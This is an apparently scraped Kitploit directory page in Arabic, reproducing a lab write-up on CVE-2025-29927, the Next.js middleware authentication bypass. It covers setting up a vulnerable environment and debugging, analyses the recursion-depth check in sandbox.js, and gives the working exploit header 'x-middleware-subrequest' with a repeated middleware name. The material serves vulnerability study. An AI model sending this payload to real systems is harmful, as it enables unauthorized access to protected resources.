Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-29927 — تجاوز المصادقة في Next.js Middleware | Kitploit
أدوات/GitHubGitHub/oyst3r1ng/cve-2025-29927
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHuboyst3r1ng/cve-2025-29927

CVE-2025-29927

تجاوز المصادقة في Next.js Middleware

عرض المستودع
22منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مقدمة

تجاوز آلية مصادقة الوسيطة (Middleware) في Next.js عبر تزوير رأس الطلب x-middleware-subrequest، مما يسمح بوصول غير مصرح به إلى المسارات المحمية.

إعداد البيئة

مصدر المشروع مأخوذ من P神، إصدار Next.js هو 15.2.2 (بالنسبة لـ Next.js 15.x، تم إصلاح هذه المشكلة في 15.2.3).

بيئة الثغرة

تأكد من تثبيت Node و npm. تحقق من الإصدار باستخدام الأوامر التالية:

root@kitploit:~
node -v
npm -v

تثبيت التبعيات وتشغيل المشروع

root@kitploit:~
# 1. 进入项目目录
cd vulenv

# 2. 全局安装 Yarn(如果尚未安装)
npm install -g yarn

# 3. 安装项目依赖
yarn install

# 4. 启动开发服务器
npm run dev

أو دفعة واحدة:

root@kitploit:~
cd vulenv && npm install -g yarn && yarn install && npm run dev

النجاح كما يلي:

alt text

alt text

بيئة التصحيح

قم بإعداد تصحيح أخطاء VScode كما يلي:

root@kitploit:~
{
    "version": "0.2.0",
    "configurations": [
      {
        "name": "Next.js: debug server-side",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev"
      },
      {
        "name": "Next.js: debug client-side",
        "type": "chrome",
        "request": "launch",
        "url": "http://localhost:3000"
      },
      {
        "name": "Next.js: debug full stack",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev",
        "serverReadyAction": {
          "pattern": "- Local:.+(https?://.+)",
          "uriFormat": "%s",
          "action": "debugWithChrome"
        }
      }
    ]
  }

التحليل

  1. نقطة تشغيل الثغرة كما يلي:
root@kitploit:~
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
    var _params_request_body;
    const runtime = await getRuntimeContext(params);
    const subreq = params.request.headers[`x-middleware-subrequest`];
    const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
    const MAX_RECURSION_DEPTH = 5;
    const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
    if (depth >= MAX_RECURSION_DEPTH) {
        return {
            waitUntil: Promise.resolve(),
            response: new runtime.context.Response(null, {
                headers: {
                    'x-middleware-next': '1'
                }
            })
        };
    }
    ......

دالة وسيطة (middleware) تهدف إلى اكتشاف عمق الاستدعاءات التكرارية لتجنب الحلقات اللانهائية. تعتمد آليتها على رأس الطلب x-middleware-subrequest، حيث يتم تقسيمه باستخدام النقطتين الرأسيتين : إلى عدة أسماء طلبات فرعية، وحساب عدد مرات التطابق مع اسم الوسيطة الحالي params.name (أي عمق التكرار). عندما يصل عمق التكرار إلى الحد المحدد أو يتجاوزه (الافتراضي MAX_RECURSION_DEPTH = 5)، تتخطى الوسيطة المنطق الأساسي مثل التحقق من الهوية وتستمر في معالجة الطلب.

نصائح: تجنب الاستدعاءات التكرارية اللانهائية، والمعنى التقريبي كما يلي:

root@kitploit:~
用户访问 /dashboard
↓
middleware 拦截,请求 /api/auth
↓
/api/auth 再次触发 middleware
↓
middleware 又请求 /api/auth
↓
...
死循环!🌀
  1. فكرة الاستغلال كما يلي:

اسم الوسيطة هو middleware، ويمكن إنشاء رأس الطلب التالي:

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

البنية المذكورة أعلاه تجعل قيمة depth = 5، مما يؤدي مباشرة إلى:

root@kitploit:~
if (depth >= MAX_RECURSION_DEPTH)

إذا كان التطبيق يضع منطق التحقق من الهوية في الوسيطة، فإن ذلك يتسبب في خروج الوسيطة من منطق المصادقة وتُرجع:

root@kitploit:~
x-middleware-next: 1

مما يسمح للطلب بالاستمرار إلى الواجهة الخلفية والحصول على الموارد المحمية دون مصادقة.

  1. الاستغلال كما يلي:

ضع نقطة توقف عند الموقع في الصورة أدناه (المسار التفصيلي: CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js) ثم ابدأ التصحيح.

alt text

أرسل الحمولة (Payload)

alt text

توقف عند النقطة الموضحة في الصورة أدناه، ويمكن ملاحظة أن قيمة depth هي 5

alt text

استمر في التنفيذ، وستتمكن من الوصول إلى الموارد المحمية.

alt text

Poc

تم تطويره باستخدام Pocsuite3، للتفاصيل انظر Poc_CVE-2025-29927.py.

alt text

المراجع

Next.js and the corrupt middleware: the authorizing artifact

Next.js Middleware Authorization Bypass (CVE-2025-29927)

تنزيل الأداة